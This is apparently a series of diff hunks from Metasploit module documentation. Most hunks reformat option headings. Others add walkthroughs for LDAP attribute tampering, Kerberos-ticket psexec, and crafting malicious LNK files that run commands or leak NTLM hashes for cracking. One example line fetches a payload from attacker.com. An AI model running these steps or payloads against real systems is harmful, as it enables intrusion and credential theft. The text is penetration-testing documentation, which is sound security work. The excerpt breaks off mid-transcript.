msf auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhosts=10.10.11.5 Krb5Ccname=/Users/user/.msf4/loot/20230309120450_default_unknown_mit.kerberos.cca_940462.bin username=Administrator domain=dev.demo.local spn=cifs/dc02.dev.demo.local
[*] Running module against 10.10.11.5
@@ -317,7 +317,7 @@ msf auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhosts=10.10.11.5
[+] 10.10.11.5:88 - Received a valid delegation TGS-Response
[*] Auxiliary module execution completed
# Use psexec:
# 3. Use psexec:
msf exploit(windows/smb/psexec) > run rhost=10.10.11.5 smbdomain=dev.demo.local username=Administrator smb::auth=kerberos smb::krb5ccname=/Users/user/.msf4/loot/20230309120802_default_10.10.11.5_mit.kerberos.cca_352530.bin smb::rhostname=dc02.dev.demo.local domaincontrollerrhost=10.10.11.5 lhost=192.168.123.1
@@ -22,18 +22,18 @@ The required options are based on the action being performed:
- When changing a password, you must specify the `LDAPUsername` and `LDAPPassword`, even if using an existing session (since the API requires both of these to be specified, even for open LDAP sessions)
- The `NEW_PASSWORD` option must always be provided
**LDAPUsername**
### LDAPUsername
The username to use to authenticate to the server. Required for changing a password, even if using an existing session.
**LDAPPassword**
### LDAPPassword
The password to use to authenticate to the server, prior to performing the password modification. Required for changing a password, even if using an existing session (since the server requires proof that you know the existing password).
**TARGET_USER**
### TARGET_USER
For resetting passwords, the user account for which to reset the password. The authenticated account (username) must have privileges over the target user (e.g. Ownership, or the `User-Force-Change-Password` extended right)
**NEW_PASSWORD**
### NEW_PASSWORD
The new password to set.
The new password to set.
@@ -0,0 +1,172 @@
## Description
The `ldap_object_attribute` module allows users to read, create, update or delete attributes of LDAP objects in an Active Directory environment.
This module is flexible, enabling users to specify the target object and the attribute they wish to interact with.
## Verification Steps
### Action Update
1. On the target host determine the current UPN value of the user you wish to update:
```powershell
PS C:\Users\Administrator> Get-ADUser -Identity user2 -Properties UserPrincipalName | Select-Object UserPrincipalName
UserPrincipalName
-----------------
user2
```
1. Start `msfconsole`
1. Do: `use auxiliary/gather/ldap_object_attribute`
1. Do: `set RHOST [IP]`
1. Do: `set LDAPDomain [DOMAIN]`
1. Do: `set LDAPUsername [USERNAME]`
1. Do: `set LDAPPassword [PASSWORD]`
1. Do: `set TARGET_USERNAME [TARGET_USERNAME]`
1. Do: `set ATTRIBUTE userPrincipalName`
1. Do: `set OBJECT_LOOKUP sAMAccountName`
1. Do: `set OBJECT [User you wish to update]`
1. Do: `set VALUE [New value for the attribute (e.g., Administrator)]`
1. Do: `set ACTION update`
1. Do: `run`
1. Verify the attribute has been updated successfully:
```powershell
PS C:\Users\Administrator> Get-ADUser -Identity user2 -Properties UserPrincipalName | Select-Object UserPrincipalName
UserPrincipalName
-----------------
Administrator
```
## Options
### OBJECT
The username of the target LDAP object whose attribute you want to update. This is used to locate the specific object in the LDAP directory.
### OBJECT_LOOKUP
How to look up the target LDAP object. This can either be done by specifying a DN or by specifying `sAMAaccountName` in order to work with AD account attributes.
### ATTRIBUTE
The LDAP attribute to update. For example, `userPrincipalName` can be used to update the User Principal Name of the target object.
### VALUE
Required when running "Update" or "Create" actions and is the value of the specified attribute that you want to set for the target object.
## Scenarios
### Action `Update`
```
msf6 auxiliary(gather/ldap_object_attribute) > set action update
action => update
msf6 auxiliary(gather/ldap_object_attribute) > set rhost 172.16.199.200
rhost => 172.16.199.200
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPDomain kerberos.issue
LDAPDomain => kerberos.issue
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPUsername user1
LDAPUsername => user1
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPPassword N0tpassword!
LDAPPassword => N0tpassword!
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT user2
OBJECT => user2
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT_LOOKUP sAMAccountName
OBJECT_LOOKUP => sAMAccountName
msf6 auxiliary(gather/ldap_object_attribute) > set ATTRIBUTE userPrincipalName
ATTRIBUTE => userPrincipalName
msf6 auxiliary(gather/ldap_object_attribute) > set VALUE Administrator
VALUE => Administrator
msf6 auxiliary(gather/ldap_object_attribute) > run
[*] Running module against 172.16.199.200
[*] Discovering base DN automatically
[*] Original value of user2's userPrincipalName:
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
[+] The operation completed successfully!
[*] Auxiliary module execution completed
```
### Action `Read`
```
msf6 auxiliary(gather/ldap_object_attribute) > set action read
action => read
msf6 auxiliary(gather/ldap_object_attribute) > set rhost 172.16.199.200
rhost => 172.16.199.200
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPDomain kerberos.issue
LDAPDomain => kerberos.issue
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPUsername user1
LDAPUsername => user1
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPPassword N0tpassword!
LDAPPassword => N0tpassword!
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT user2
OBJECT => user2
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT_LOOKUP sAMAccountName
OBJECT_LOOKUP => sAMAccountName
msf6 auxiliary(gather/ldap_object_attribute) > set ATTRIBUTE userPrincipalName
ATTRIBUTE => userPrincipalName
msf6 auxiliary(gather/ldap_object_attribute) > run
[*] Running module against 172.16.199.200
[*] Discovering base DN automatically
[+] Found CN=user2,CN=Users,DC=kerberos,DC=issue with userPrincipalName set to Administrator
[+] The operation completed successfully!
[*] Auxiliary module execution completed
```
### Action `Delete`
```
msf6 auxiliary(gather/ldap_object_attribute) > set action delete
action => delete
msf6 auxiliary(gather/ldap_object_attribute) > set rhost 172.16.199.200
rhost => 172.16.199.200
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPDomain kerberos.issue
LDAPDomain => kerberos.issue
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPUsername user1
LDAPUsername => user1
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPPassword N0tpassword!
LDAPPassword => N0tpassword!
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT user2
OBJECT => user2
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT_LOOKUP sAMAccountName
OBJECT_LOOKUP => sAMAccountName
msf6 auxiliary(gather/ldap_object_attribute) > set ATTRIBUTE userPrincipalName
ATTRIBUTE => userPrincipalName
msf6 auxiliary(gather/ldap_object_attribute) > run
[*] Running module against 172.16.199.200
[*] Discovering base DN automatically
[*] Attempting to delete attribute userPrincipalName from CN=user2,CN=Users,DC=kerberos,DC=issue...
[+] Successfully deleted attribute userPrincipalName from CN=user2,CN=Users,DC=kerberos,DC=issue
[+] The operation completed successfully!
[*] Auxiliary module execution completed
```
### Action `Create`
```
msf6 auxiliary(gather/ldap_object_attribute) > set action create
action => create
msf6 auxiliary(gather/ldap_object_attribute) > set rhost 172.16.199.200
rhost => 172.16.199.200
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPDomain kerberos.issue
LDAPDomain => kerberos.issue
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPUsername user1
LDAPUsername => user1
msf6 auxiliary(gather/ldap_object_attribute) > set LDAPPassword N0tpassword!
LDAPPassword => N0tpassword!
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT user2
OBJECT => user2
msf6 auxiliary(gather/ldap_object_attribute) > set OBJECT_LOOKUP sAMAccountName
OBJECT_LOOKUP => sAMAccountName
msf6 auxiliary(gather/ldap_object_attribute) > set ATTRIBUTE userPrincipalName
ATTRIBUTE => userPrincipalName
msf6 auxiliary(gather/ldap_object_attribute) > set VALUE Administrator
VALUE => Administrator
msf6 auxiliary(gather/ldap_object_attribute) > run
[*] Reloading module...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Running module against 172.16.199.200
[*] Discovering base DN automatically
[*] Attempting to add attribute userPrincipalName with value asdfasdf to CN=user2,CN=Users,DC=kerberos,DC=issue...
[+] Successfully added attribute userPrincipalName with value asdfasdf to CN=user2,CN=Users,DC=kerberos,DC=issue
[+] The operation completed successfully!
[*] Auxiliary module execution completed
```
## Notes
- Ensure the user account used for authentication has sufficient privileges to modify the specified attribute.
- Use caution when modifying LDAP attributes, as incorrect changes can disrupt directory services.
@@ -9,15 +9,15 @@ Windows is the most ideal target because it supports WPAD by default.
## Options
**NBADDR**
### NBADDR
The address that the NetBIOS name (NBNAME) should resolve to.
**NBNAME**
### NBNAME
The NetBIOS name to spoof a reply for.
**PPSRATE**
### PPSRATE
The rate at which to send NetBIOS replies.
@@ -25,19 +25,19 @@ List the steps needed to make sure this thing works
## Options
**RHOSTS**
### RHOSTS
Set the target host.
**USERNAME**
### USERNAME
Set the USERNAME of the admin account you want to add.
**PASSWORD**
### PASSWORD
Set the PASSWORD of the admin account you want to add.
**RETRIES**
### RETRIES
You can change the maximum number of attempts to add an admin account by using `set RETRIES <max_retries>`.
@@ -19,10 +19,10 @@
## Options
**SQL**
### SQL
The SQL that will execute with the privileges of the user who created the index. Default is to escalate privileges.
**TABLE**
### TABLE
Table to create the index on.
@@ -103,11 +103,7 @@
## Options
**RHOST**
Target device.
**FUNCTION**
### FUNCTION
Either CREDS (default) or ENUM:
* CREDS attempts to retrieve administrative password and SNMP community strings
@@ -174,4 +170,4 @@ if response[0] == "\x81" && response[14..16] == "\x00\x90\xe8" && response.lengt
```
Note that the above response is an example of the utility of using ENUM. This function code (0x14) returns a netstat-type response. Output similar to the above will be displayed for every function code that does not return 'invalid' (0x4). This may also be useful for devices that do not "unlock" using the function codes supplied in this module; by running through all function codes in sequence, it is likely that an alternate "unlock" function will be sent prior to any function codes that request credentials.
NOTE: As the protocol is undocumented and the purpose of a majority of the function codes are unknown, undesired results are possible. Do NOT use on devices which are mission-critical!
NOTE: As the protocol is undocumented and the purpose of a majority of the function codes are unknown, undesired results are possible. Do NOT use on devices which are mission-critical!
@@ -89,7 +89,7 @@ The CPU mode uses a TCP port depending on the PLC Type, the module will
automatically detect the type and port to use, but can be overridden with the
'RPORT' option, however no real reason to configure it. If you accidentally set RPORT, you can unset it with the ```unset RPORT``` command.
**The ACTION option**
### ACTION
Action has four possible values:
@@ -25,22 +25,22 @@ The required options are based on the action being performed:
- When resetting or changing a password, you must specify `NEW_PASSWORD`
- When resetting or changing an NTLM hash, you must specify `NEW_NTLM`
**SMBUser**
### SMBUser
The username to use to authenticate to the server. Required for changing a password, even if using an existing session.
**SMBPass**
### SMBPass
The password to use to authenticate to the server, prior to performing the password modification. Required for changing a password, even if using an existing session (since the server requires proof that you know the existing password).
**TARGET_USER**
### TARGET_USER
For resetting passwords, the user account for which to reset the password. The authenticated account (SMBUser) must have privileges over the target user (e.g. Ownership, or the `User-Force-Change-Password` extended right)
**NEW_PASSWORD**
### NEW_PASSWORD
The new password to set for `RESET` and `CHANGE` actions.
**NEW_NTLM**
### NEW_NTLM
The new NTLM hash to set for `RESET_NTLM` and `CHANGE_NTLM` actions. This can either be an NT hash, or a colon-delimited NTLM hash.
The new NTLM hash to set for `RESET_NTLM` and `CHANGE_NTLM` actions. This can either be an NT hash, or a colon-delimited NTLM hash.
@@ -41,23 +41,23 @@ msf exploit(psexec) > exploit
By default, using auxiliary/admin/smb/ms17_010_command can be as simple as setting the RHOSTS option, and you're ready to go.
**The NAMEDPIPE Option**
### The NAMEDPIPE Option
By default, the module will scan for a list of common pipes for any available one. You can specify one by name.
**The LEAKATTEMPTS Option**
### The LEAKATTEMPTS Option
Information leaks are used to ensure stability of the exploit. Sometimes they don't pop on the first try.
**The DBGTRACE Option**
### The DBGTRACE Option
Used to debug, gives extremely verbose information.
**The SMBUser Option**
### The SMBUser Option
This is a valid Windows username.
**The SMBPass option**
### The SMBPass option
This can be either the plain text version or the Windows hash.
@@ -65,7 +65,7 @@ This can be either the plain text version or the Windows hash.
**Automatic Target**
There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the Automatic target detects Powershell on the remote machine, it will try Powershell, otherwise it uses the natvie upload. Each target is explained below.
There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the Automatic target detects Powershell on the remote machine, it will try Powershell, otherwise it uses the native upload. Each target is explained below.
**Powershell Target**
@@ -38,37 +38,37 @@ accordingly.
12. Apply the acquired session cookie for the vCenter host at the `/ui` path
## Options
**DOMAIN**
### DOMAIN
The vSphere SSO domain; by default this is `vsphere.local`. If this does not match the vSphere SSO
domain, the module will return `HTTP 400: Issuer not trusted` on execution.
**USERNAME**
### USERNAME
The target user within the SSO domain. This must be a valid user as vCenter will happily issue
SAML assertions for invalid usernames, but the provided session tokens will not function. There
should be no reason to modify the target user from the default `administrator` in most scenarios.
**RHOSTS**
### RHOSTS
The vCenter appliance IPv4 address or DNS FQDN. This must be reachable over HTTPS for the module
to function.
**VHOST**
### VHOST
The fully qualified DNS name of the vCenter appliance; this must be present in the Issuer element
of the assertion for the module to function. If this value does not match the vCenter appliance
FQDN, the module will return `HTTP 400` during the initial `GET` request.
**VC_IDP_CERT**
### VC_IDP_CERT
The filesystem path to the vCenter SSO IdP certificate in DER or PEM format.
**VC_IDP_KEY**
### VC_IDP_KEY
The filesystem path to the vCenter SSO IdP private key in DER or PEM format.
**VC_VMCA_CERT**
### VC_VMCA_CERT
The filesystem path to the vCenter VMCA certificate in DER or PEM format.
@@ -30,15 +30,15 @@ value is provided for `VC_IP` the module defaults to assigning the loopback IP `
7. Do: `dump`
## Options
**VMDIR_MDB**
### VMDIR_MDB
Path to the vmdird MDB database file on the local system. Example: `/tmp/data.mdb`
**VMAFD_DB**
### VMAFD_DB
Path to the vmafd DB file on the local system. Example: `/tmp/afd.db`
**VC_IP**
### VC_IP
Optional parameter to set the IPv4 address associated with loot entries made by the module.
@@ -21,16 +21,16 @@ Stop Stop cooking
## Options
**TEMP**
### TEMP
Set this to the desired temperature for cooking. Valid values are `Off`,
`Warm`, `Low`, and `High`.
**TIME**
### TIME
Set this to the desired cook time in full minutes.
**DefangedMode**
### DefangedMode
Set this to `false` to disable defanged mode and enable module
functionality. Set this only if you're SURE you want to proceed.
@@ -12,7 +12,7 @@ Tested with Schneider TM221CE16R
## Options
**MODE**
### MODE
Default: UPLOAD. Changes offset within a packet that is used to check for a zip header.
@@ -47,12 +47,12 @@ on setting up the [BAFX 34t5](https://bafxpro.com/products/obdreader) with Kali
## Options
**TARGETURI**
### TARGETURI
Specifies the base target URI to communicate to the HWBridge API. By default this is '/' but it
could be things such as '/api' or the randomly generated URI from the local_hwbridge module
**DEBUGJSON**
### DEBUGJSON
Prints out all the JSON packets that come from the HWBridge API. Useful for troubleshooting
a device.
@@ -8,7 +8,7 @@ mail services such as Gmail, Yahoo, Live should work fine.
## Options
**CELLNUMBERS**
### CELLNUMBERS
The 10-digit phone number (or numbers) you want to send the MMS text to. If you wish to target
against multiple phone numbers, ideally you want to create the list in a text file (one number per
@@ -20,12 +20,12 @@ set CELLNUMBERS file:///tmp/att_phone_numbers.txt
Remember that these phone numbers must be the same carrier.
**MMSCARRIER**
### MMSCARRIER
The carrier that the targeted numbers use. See **Supported Carrier Gateways** to learn more about
supported carriers.
**TEXTMESSAGE**
### TEXTMESSAGE
The text message you want to send. For example, this will send a text with a link to google:
@@ -35,11 +35,11 @@ set TEXTMESSAGE "Hi, please go: google.com"
The link should automatically be parsed on the phone and clickable.
**MMSFILE**
### MMSFILE
The attachment to send in the message.
**MMSFILECTYPE**
### MMSFILECTYPE
The content type to use for the attachment. Commonly supported ones include:
@@ -51,28 +51,28 @@ The content type to use for the attachment. Commonly supported ones include:
To find more, please try this [list](http://www.freeformatter.com/mime-types-list.html)
**SMTPADDRESS**
### SMTPADDRESS
The mail server address you wish to use to send the MMS messages.
**SMTPPORT**
### SMTPPORT
The mail server port. By default, this is ```25```.
**SMTPUSERNAME**
### SMTPUSERNAME
The username you use to log into the SMTP server.
**SMTPPASSWORD**
### SMTPPASSWORD
The password you use to log into the SMTP server.
**SMTPFROM**
### SMTPFROM
The FROM field of SMTP. In some cases, it may be used as ```SMTPUSER```. Some carriers require this
in order to receive the text, such as AT&T.
**MMSSUBJECT**
### MMSSUBJECT
The MMS subject. Some carriers require this in order to receive the text, such as AT&T.
@@ -8,7 +8,7 @@ mail services such as Gmail, Yahoo, Live should work fine.
## Options
**CELLNUMBERS**
### CELLNUMBERS
The 10-digit phone number (or numbers) you want to send the text to. If you wish to target against
multiple phone numbers, ideally you want to create the list in a text file (one number per line),
@@ -20,16 +20,16 @@ set CELLNUMBERS file:///tmp/att_phone_numbers.txt
Remember that these phone numbers must be the same carrier.
**SMSCARRIER**
### SMSCARRIER
The carrier that the targeted numbers use. See **Supported Carrier Gateways** to learn more about
supported carriers.
**SMSSUBJECT**
### SMSSUBJECT
The text subject.
**SMSMESSAGE**
### SMSMESSAGE
The text message you want to send. For example, this will send a text with a link to google:
@@ -39,23 +39,23 @@ set SMSMESSAGE "Hi, please go: google.com"
The link should automatically be parsed on the phone and clickable.
**SMTPADDRESS**
### SMTPADDRESS
The mail server address you wish to use to send the text messages.
**SMTPPORT**
### SMTPPORT
The mail server port. By default, this is ```25```.
**SMTPUSERNAME**
### SMTPUSERNAME
The username you use to log into the SMTP server.
**SMTPPASSWORD**
### SMTPPASSWORD
The password you use to log into the SMTP server.
**SMTPFROM**
### SMTPFROM
The FROM field of SMTP. In some cases, it may be used as ```SMTPUSER```.
@@ -73,7 +73,6 @@ The module supports the following carriers:
* Virgin Mobile
**Note:** During development, we could not find a valid gateway for Sprint, therefore it is currently
not supported.
### Finding the Carrier for a Phone Number
@@ -24,13 +24,13 @@ This module authenticates to AWS EC2 (Elastic Compute Cloud) to identify compute
## Options
**ACCESS_KEY_ID**
### ACCESS_KEY_ID
This AWS credential is like a username. It uniquely identifies the user, and is paired with a 'secret access key'. The access key ID is retrievable through the AWS console.
An example `ACCESS_KEY_ID` would be `AKIA5C76TR3KXHXA5CRC`
**SECRET_ACCESS_KEY**
### SECRET_ACCESS_KEY
This AWS credential is like a password, and should be treated as such. It is paired with a 'access key ID'. The access key ID cannot be retrieved from AWS after it has been generated, but it may be discoverable through environment variables, configuration files, source code, or backups.
@@ -23,25 +23,25 @@ This module authenticates to AWS IAM (Identify Access Module) to identify user a
## Options
**ACCESS_KEY_ID**
### ACCESS_KEY_ID
This AWS credential is like a username. It uniquely identifies the user, and is paired with a 'secret access key'. The access key ID is retrievable through the AWS console.
An example `ACCESS_KEY_ID` would be `AKIA5C76TR3KXHXA5CRC`
**SECRET_ACCESS_KEY**
### SECRET_ACCESS_KEY
This AWS credential is like a password, and should be treated as such. It is paired with a 'access key ID'. The access key ID cannot be retrieved from AWS after it has been generated, but it may be discoverable through environment variables, configuration files, source code, or backups.
An example `SECRET_ACCESS_KEY` would be `EKfx3wOWWiGk1WgBTAZfF\2dq3SbDsQj4jdyOMOv`.
**REGION**
### REGION
AWS resources are located in regions. Optionally, this module's output can be filtered based on region to minimize the query to AWS. Alternatively, `REGION` can be left blank, such that all regions will be checked.
An example region would be `us-west-2`.
**LIMIT**
### LIMIT
Some AWS API calls support limiting output, such that the module will only return the number of instances, without detailing the configuration of each instance. Optionally, this module's output can be filtered to minimize the query to AWS and the user output. Alternatively, `LIMIT` can be left blank, such that all EC2 instances will be detailed.
@@ -24,19 +24,19 @@ This module authenticates to AWS S3 (Simple Storage Service), to identify bucket
## Options
**ACCESS_KEY_ID**
### ACCESS_KEY_ID
This AWS credential is like a username. It uniquely identifies the user, and is paired with a 'secret access key'. The access key ID is retrievable through the AWS console.
An example `ACCESS_KEY_ID` would be `AKIA5C76TR3KXHXA5CRC`
**SECRET_ACCESS_KEY**
### SECRET_ACCESS_KEY
This AWS credential is like a password, and should be treated as such. It is paired with a 'access key ID'. The access key ID cannot be retrieved from AWS after it has been generated, but it may be discoverable through environment variables, configuration files, source code, or backups.
An example `SECRET_ACCESS_KEY` would be `EKfx3wOWWiGk1WgBTAZfF/2dq3SbDsQj4jdyOMOv`.
**REGION**
### REGION
AWS resources are located in regions. Optionally, this module's output can be filtered based on region to minimize the query to AWS. Alternatively, `REGION` can be left blank, such that all regions will be checked.
@@ -21,7 +21,7 @@
## Options
**TARGETURI**
### TARGETURI
The URI where the multipart form is located. There is no real default and this will change based on the application.
@@ -93,4 +93,4 @@ msf auxiliary(apache_commons_fileupload_dos) > run
```
![tomcat7_dos](https://cloud.githubusercontent.com/assets/752491/22169486/71980e2e-df42-11e6-8353-4f1e260375ee.png)
@@ -8,23 +8,23 @@ Please refer to [https://cablehaunt.com/](https://cablehaunt.com/) for more info
## Options
**WS_USERNAME**
### WS_USERNAME
This is the basic auth username for the spectrum analysis web service. This is typically default credentials such as `admin:password` but may also be something along the lines of `spectrum:spectrum`. This will vary from manufacturer to manufacturer and ISP to ISP.
**WS_PASSWORD**
### WS_PASSWORD
This is the basic auth password for the spectrum analysis web service.
**TIMEOUT**
### TIMEOUT
This is the timeout in seconds that the module should wait before making a conclusion on the success of the payload delivery. Typically, the device crashes within about 5 second of the payload being delivered. The default value of `15` should be seen as the lower bound for `TIMEOUT` values.
**RHOSTS**
### RHOSTS
Typically the only address which should be used for this value is `192.168.100.1`. It can be different, but not in a well-secured configuration.
**RPORT**
### RPORT
On some devices the Spectrum Analysis web service runs on port `8080`, though Lyrebirds (the original discoverer and PoC author) notes that sometimes it can run on port `6080`.
@@ -12,16 +12,22 @@
## Options
**DOSTYPE**
### DOSTYPE
GENTLE: *Current sessions will continue to work, but not future ones*
A lack of input sanitation permits an attacker to submit a request that will be added to the resources and will be used as regex rule it is possible then to make a valid regex rule that captures all the new handler requests. The sessions that were established previously will continue to work.
#### GENTLE
SOFT: *No past or future sessions will work*
A lack of input sanitation and lack of exception handling causes Metasploit to behave abnormally when looking an appropriate resource for the request, by submitting an invalid regex as a resource. This means that no request, current or future will get served an answer.
*Current sessions will continue to work, but not future ones*
A lack of input sanitation permits an attacker to submit a request that will be added to the resources and will be used as regex rule it is possible then to make a valid regex rule that captures all the new handler requests. The sessions that were established previously will continue to work.
HARD: *ReDOS or Catastrophic Regex Backtracking*
A lack of input sanitization on paths added as resources allows an attacker to execute a catastrophic regex backtracking operation causing a Denial of Service by CPU consumption.
#### SOFT
*No past or future sessions will work*
A lack of input sanitation and lack of exception handling causes Metasploit to behave abnormally when looking an appropriate resource for the request, by submitting an invalid regex as a resource. This means that no request, current or future will get served an answer.
#### HARD
*ReDOS or Catastrophic Regex Backtracking*
A lack of input sanitization on paths added as resources allows an attacker to execute a catastrophic regex backtracking operation causing a Denial of Service by CPU consumption.
## Scenarios
@@ -19,15 +19,15 @@ FoxIT after version 9.1 is no longer vulnerable.
## Options
**FILENAME**
### FILENAME
This option allows you to customise the generated filename.
This can be changed using set FILENAME test.pdf
**LHOST**
### LHOST
This option allows you to set the IP address of the SMB Listener that the document points to
This can be changed using set LHOST 192.168.1.25
**PDFINJECT**
### PDFINJECT
This option allows you to inject the UNC code into an existing PDF document
This can be changed using set PDFINJECT /path/to/file/pdf.pdf
@@ -89,4 +89,4 @@ msf auxiliary(fileformat/badpdf) > exploit
[\*] Auxiliary module execution completed
msf auxiliary(fileformat/badpdf) >
```
```
@@ -0,0 +1,94 @@
## Vulnerable Application
Windows systems where LNK files are processed, such as in Explorer or when shortcuts are executed.
This can lead to arbitrary command execution via manipulated command line buffers.
References:
- [ZDI-CAN-25373](https://www.zerodayinitiative.com/advisories/ZDI-CAN-25373/)
- [Windows LNK Research](https://zeifan.my/Windows-LNK/)
- [Gist Example](https://gist.github.com/nafiez/1236cc4c808a489e60e2927e0407c8d1)
- [Trend Micro Analysis](https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html)
Disclosure Date: 2025-07-19.
## Verification Steps
1. Start msfconsole.
1. Load the module: `use auxiliary/fileformat/windows_lnk_padding`.
1. Optionally customize FILENAME, DESCRIPTION, ICON_PATH, or BUFFER_SIZE.
1. Execute the module: `run`.
1. A malicious LNK file will be generated.
1. Deliver the LNK file to the target Windows system.
1. Open the LNK file to trigger command execution (e.g., launching calc.exe).
## Options
### COMMAND
The command to execute when the LNK is opened.
Default: `C:\\Windows\\System32\\calc.exe`
Example:
```
set COMMAND powershell.exe -c "Invoke-WebRequest -Uri http://attacker.com/payload"
```
### DESCRIPTION
Optional description for the LNK file. If not set, a random sentence is generated.
Example:
```
set DESCRIPTION Important Document
```
### ICON_PATH
Optional path to an icon for the LNK file. If not set, a random system icon path is generated.
Example:
```
set ICON_PATH %SystemRoot%\\System32\\shell32.dll
```
### BUFFER_SIZE
The size of the whitespace padding buffer before the command (must be sufficient to avoid truncation).
Default: 900
Example:
```
set BUFFER_SIZE 1000
```
## Scenarios
### Basic Command Execution on Windows
Target: Any Windows system (e.g., Windows 10 or later).
Generate an LNK that launches Calculator with custom padding:
```
msf > use auxiliary/fileformat/windows_lnk_padding
msf auxiliary(fileformat/windows_lnk_padding) > set FILENAME calc.lnk
FILENAME => calc.lnk
msf auxiliary(fileformat/windows_lnk_padding) > set COMMAND C:\\Windows\\System32\\calc.exe
COMMAND => C:\\Windows\\System32\\calc.exe
msf auxiliary(fileformat/windows_lnk_padding) > set BUFFER_SIZE 900
BUFFER_SIZE => 900
msf auxiliary(fileformat/windows_lnk_padding) > set DESCRIPTION Calculator Shortcut
DESCRIPTION => Calculator Shortcut
msf auxiliary(fileformat/windows_lnk_padding) > set ICON_PATH %SystemRoot%\\System32\\calc.exe
ICON_PATH => %SystemRoot%\\System32\\calc.exe
msf auxiliary(fileformat/windows_lnk_padding) > run
[*] Generating LNK file: calc.lnk
[+] Successfully created calc.lnk
[*] Command line buffer size: 900 bytes
[*] Target command: C:\\Windows\\System32\\calc.exe
[*] Auxiliary module execution completed
```
@@ -0,0 +1,104 @@
## Vulnerable Application
Windows systems where LNK files are processed in Explorer, particularly during right-click actions that load context menus.
This can result in NTLM credential leaks over SMB.
References:
- [Right-Click LNK](https://zeifan.my/Right-Click-LNK/)
Disclosure Date: 2025-05-06.
## Verification Steps
1. Start msfconsole.
1. Load the module: `use auxiliary/fileformat/right_click_lnk_leak`.
1. Optionally customize FILENAME, DESCRIPTION, ICON_PATH, or PADDING_SIZE.
1. Execute the module: `run`.
1. A malicious LNK file is generated.
1. Set up an SMB capture listener (e.g., `auxiliary/server/capture/smb`).
1. Deliver the LNK file to the target system.
1. Right-click the LNK file in Explorer to trigger the SMB connection.
1. Monitor the listener for captured NTLM hashes.
## Options
### DESCRIPTION
The description for the shortcut.
Default: `Testing Purposes`
Example:
```
set DESCRIPTION Important File
```
### ICON_PATH
The path to an icon for the LNK file.
Default: `e.g. abc.ico`
Example:
```
set ICON_PATH %SystemRoot%\\System32\\shell32.dll
```
### PADDING_SIZE
Size of padding in the command arguments.
Default: 10
Example:
```
set PADDING_SIZE 20
```
## Scenarios
### NTLM Hash Capture on Right-Click
Target: Windows system with Explorer (e.g., Windows 10 or later).
Generate the LNK file:
```
msf > use auxiliary/fileformat/right_click_lnk_leak
msf auxiliary(fileformat/right_click_lnk_leak) > set DESCRIPTION Fake Document
DESCRIPTION => Fake Document
msf auxiliary(fileformat/right_click_lnk_leak) > set ICON_PATH %SystemRoot%\\System32\\imageres.dll
ICON_PATH => %SystemRoot%\\System32\\imageres.dll
msf auxiliary(fileformat/right_click_lnk_leak) > set PADDING_SIZE 15
PADDING_SIZE => 15
msf auxiliary(fileformat/right_click_lnk_leak) > run
[*] Creating 'context.lnk' file...
[+] LNK file created: context.lnk
[*] Set up a listener (e.g., auxiliary/server/capture/smb) to capture the authentication
[*] Auxiliary module execution completed
```
Set up the capture listener on the attacker machine:
```
msf > use auxiliary/server/capture/smb
msf auxiliary(server/capture/smb) > set SRVHOST 192.168.1.25
SRVHOST => 192.168.1.25
msf auxiliary(server/capture/smb) > run
[*] Server started.
```
Deliver `context.lnk` to the target. When the victim right-clicks it, an SMB connection is attempted:
```
[*] SMB Captured - 2025-09-18 21:08:00 +0530
NTLMv2 Response Captured from 192.168.1.50:49180 - 192.168.1.50
USER:targetuser DOMAIN:TARGETPC OS: Windows 10 LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:examplehashvalue
NT_CLIENT_CHALLENGE:examplechallenge
```
Use cracking tools to recover credentials from the hash.
@@ -0,0 +1,88 @@
## Vulnerable Application
Windows systems using Explorer to browse directories with LNK files, where the IconEnvironmentDataBlock can force SMB authentication leaks.
References:
- [Right-Click LNK](https://zeifan.my/Right-Click-LNK/)
Disclosure Date: 2025-05-16.
## Verification Steps
1. Start msfconsole.
1. Load the module: `use auxiliary/fileformat/iconenvironmentdatablock_lnk`.
1. Set options like FILENAME, or others as needed.
1. Execute the module: `run`.
1. A malicious LNK file is generated.
1. Place the LNK in a target directory.
1. Browse the directory in Windows Explorer to trigger the SMB connection.
1. Check the console for captured NTLM hashes.
## Options
### DESCRIPTION
Optional description for the shortcut. If unset, a random sentence is generated.
Example:
```
set DESCRIPTION System Update
```
### ICON_PATH
Optional icon path for the LNK. If unset, a random system icon path is generated.
Example:
```
set ICON_PATH %SystemRoot%\\System32\\shell32.dll
```
### PADDING_SIZE
Size of padding in the command arguments.
Default: 10
Example:
```
set PADDING_SIZE 20
```
## Scenarios
### NTLM Hash Capture via Integrated Server
Target: Windows system with Explorer.
```
msf > use auxiliary/fileformat/iconenvironmentdatablock_lnk
msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set FILENAME leak.lnk
FILENAME => leak.lnk
msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set SRVHOST 192.168.1.25
SRVHOST => 192.168.1.25
msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set DESCRIPTION Fake Shortcut
